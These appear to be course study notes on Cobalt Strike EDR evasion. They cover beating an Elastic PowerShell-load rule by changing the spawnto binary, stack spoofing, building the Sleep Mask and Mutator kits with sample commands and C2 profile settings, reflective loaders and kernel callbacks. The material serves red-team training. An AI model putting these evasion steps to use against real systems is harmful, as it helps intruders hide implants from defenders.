SIEMs will not ingest all image load events, because that would result in a huge volume. Instead they select specific image load events based on known TTPs. One example is System.Management. Automation.dll which contains runtime for hosting PowerShell. PowerShell and other umanaged powershell tools require this DLL to function.

Running the commands below might result in an alert from Elastic.

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain

We can look at the Elastic detection rule for this alert here.

This rule is designed to detect potentially unauthorized or malicious execution involving PowerShell, especially when unusual or untrusted DLLs are involved, signaling possible attempts to execute code in a manner that mimics legitimate system activity or to hide behind trusted applications.

A possible way that might to circumvent this rule is to set the spawnto binary to one that is known to legitimately loads this DLL.

beacon> spawnto x64 %windir%\sysnative\msiexec.exe
beacon> powerpick Get-Domain

Thread Stack Spoofing

Additional Sources - Sleep Obfuscation - Ekko With Stack Spoofing

Thread Stack (or Call Stack) Spoofing, is another in-memory evasion technique which aims to hide abnormal or suspicious call stacks.

A Stack is a data structure used to store and manage data. It works using LIFO (Last In, First Out) principle. This means that the last item added to the stack is the first to be removed.

A Call Stack is a stack used by programs to manage function calls. It keeps track of which function is currently running, what it needs to do next, and where to return when a function finishes.

For example, the MessageBoxW API in kernel32.dll does not know which function or process called it. Before invoking this API, the program pushes a return address onto the stack. This return address ensures that once MessageBoxW finishes executing, the program can return to the correct location and continue from where it left off.

Why dont the program know where to return to? A program executes code line by line in a specific order. When a function is called, the program has to temporarily pause its current execution to "jump" to the code in that function. The program needs to know where to go back to after the function finishes, which is typically where the function was called in the first place.

A way to obfuscate call stack return address is using stack spoofing. In Cobalt Strike it can be found in the Artifact Kit under src-common/spoof.c.  It essentially leverages Fibres to switch the context of the thread stack during Beacon's sleep phase to obscure the actual return address.  It can be enabled by setting the "stack spoof" option in the build script to true.

Red Team Ops II - Zero-Point Security

For example:  ./build.sh "pipe" MapViewOfFile 296948 0 true true none /mnt/c/Tools/cobaltstrike/artifacts.

After generating and executing a new payload, the call stack now returns to RtlUserFibreStart instead of the actual Cobalt Strike Beacon .text section.

We can use a tool calledHunt-sleeping-beacons which scans the call stack and tries to identify  IOCs indicating an unpacked or injected C2 agent.

Sleep Mask Kit

The Sleep Mask Kit provides a means for Beacon to obfuscate its own memory regions before entering the sleep cycle, and then deobfuscate itself when it wakes up.  The default mask achieves this by walking its own memory and XOR'ing each byte with a random key. "Walking" memory means traversing or iterating over the memory that the program owns and controls.

EDR tools like Elastic has memory scanning capabilities where it will look for known (static) indicators of Beacon.  

It's important to understand that the Sleep Mask becomes less effective the shorter Beacon's sleep time is, because it will spend more time in a deobfuscated state.

The default Sleep Mask code can be found in arsenal-kit\kits\sleepmask.  You can read more about sleep mask kit here.

An example of compilation of a Sleep Mask kit.

attacker@DESKTOP-3BSK7NO /m/c/T/c/a/k/sleepmask > ./build.sh 47 WaitForSingleObject true none /mnt/c/Tools/cobaltstrike/sleep-mask
[Sleepmask kit] [+] You have a x86_64 mingw--I will recompile the sleepmask beacon object files
[Sleepmask kit] [*] Building sleepmask to support Cobalt Strike version 4.7 and later
[Sleepmask kit] [*] Using Sleep Method: WaitForSingleObject
[Sleepmask kit] [*] Mask text section: true
[Sleepmask kit] [*] Using system call method: none
[Sleepmask kit] [*] Compile sleepmask.x86.o
[Sleepmask kit] [*] Compile sleepmask_pivot.x86.o
[Sleepmask kit] [*] Compile sleepmask.x64.o
[Sleepmask kit] [*] Compile sleepmask_pivot.x64.o
[Sleepmask kit] [+] The sleepmask beacon object files are saved in '/mnt/c/Tools/cobaltstrike/sleep-mask'

Add set sleep_mask "true"; to the stage block of your C2 profile, load sleepmask.cna via the CS Script Manager and then regenerate your payloads.

Sleep Mask Kit with Stack Spoofing

In order to use Sleep mask kit with stack spoofing, we can use an option called evasive sleep. In sleep mask kit there are two flavours, evasive sleep and evasive sleep stack spoof. They are only supported on 64-bit.

source

  • sleepmask.c #define EVASIVE_SLEEP 1 //#include "evasive_sleep.c" #include "evasive_sleep_stack_spoof.c"
  • evasive_sleep_stack_spoof.c

find a legitimate call stack to reproduce (eg. msedge.exe) - must begin with NtWaitForSingleObject

  • for each call: getFunctionOffset.exe [dll] [function] [offset]
  • copy generated code to set_callstack function #define CFG_BYPASS 1
  • ensure profile stage:

contains set userwx "true";

  • does not contain set obfuscate "true";

Mutator Kit

Mutator kit is an LLVM (low level virtual machine) obfuscator designed to break in-memory YARA scanning of sleep mask.

LLVM is the process of turning any source code of any programming language and produce native executable machine code. How it works is like this:

  • LLVM takes the raw code you write and breaks it down using a lexer to read and split the text and a parser to understand its structure.
  • This produce something called Intermediate Representation (IR). This is like a simple set of instruction similar to assembly.
  • The IR can then be transformed static native object file, which is a file containing machine code.

The mutator kit works by taking the source code of the sleep mask kit and parsing it into LLVM IR. It then obfusate the IR code before producing the final build.

There are 4 types of obfuscation possible with the kit.  They are:

  • Substitution - replace binary operators with functionally equivalent ones.  For example, replacing a = b + c with a = b - (-c) and other variations.
  • Control Flow Flattening & Basic-Block Splitting - manipulates the control flow of a function by removing easily identifiable conditional and looping structures.
  • Bogus - inserts fake control blocks to modify the control flow of a function.  It works by adding a conditional jump that points into either the original block or a fake block looping back to the conditional jump block.  This option is disabled in the kit by default because it can increase the final size of the compiled sleep mask.

Before using mutator kit, we have to ensure that our C2 profile is setup correctly.

stage {
    set sleep_mask "true";
    set cleanup "true";
    set userwx "false";
}
process-inject {
    set startrwx "false";
    set userwx "false";
}

Now  load sleepmask_mutator.cna from \arsenal-kit\kits\mutator\. This will add a new Sleep Mask Mutator menu item which will launch a Preferences window.  

Generate a new set of payloads using Payloads > Windows Stageless Generate All Payloads.  

> Mutator Kit is that it is not compatible with evasive sleep or syscalls. 

syscalls involve inline assembly code that cannot be mutated without breaking functionality; and since the aim of this kit is to break YARA signatures targeting the sleep mask in-memory, the evasive sleep mask is no longer necessary.

User-Defined Reflective Loader (UDRL)

A User-Defined Reflective Loader is a custom implementation of a reflective DLL loader used to load a Dynamic Link Library (DLL) into memory without relying on the standard Windows API for DLL loading (like LoadLibrary).

...

Kernel Callback Routine

A Kernel Callback Routine is a Windows Operating system mechanism used to notify kernel-mode or user-mode components about specific events or change in state. These routines are functions registered by a process or a driver and get invoked by kernel in response to specific trigger such as process creation, thread creation, image loads and registry operaitons. .

PsSetCreateProcessNotifyRoutine to monitor process creation. PsSetCreateThreadNotifyRoutine to monitor thread creation. PspCreateProcessNotifyRoutine - Registers a driver-supplied callback to be called whenever a process is created or deleted. PspLoadImageNotifyRoutine - Registers a driver-supplied callback to be called whenever an image (DLL or EXE) is loaded (or mapped) into memory. CmRegisterCallbackEx - Registers a driver-supplied callback to be called whenever a thread operates on the registry.

Kernel callbacks are stored in kernel memory, with each type of callback having its own list, such as the PspCreateProcessNotifyRoutine array for process-related events. Each item in the list points to a function in a driver that registered the callback. When the specified event occurs, the kernel goes through the list and executes each callback function in the drivers. This happens before the system returns control to the user, making it difficult to tamper with or interrupt these callbacks from user-mode.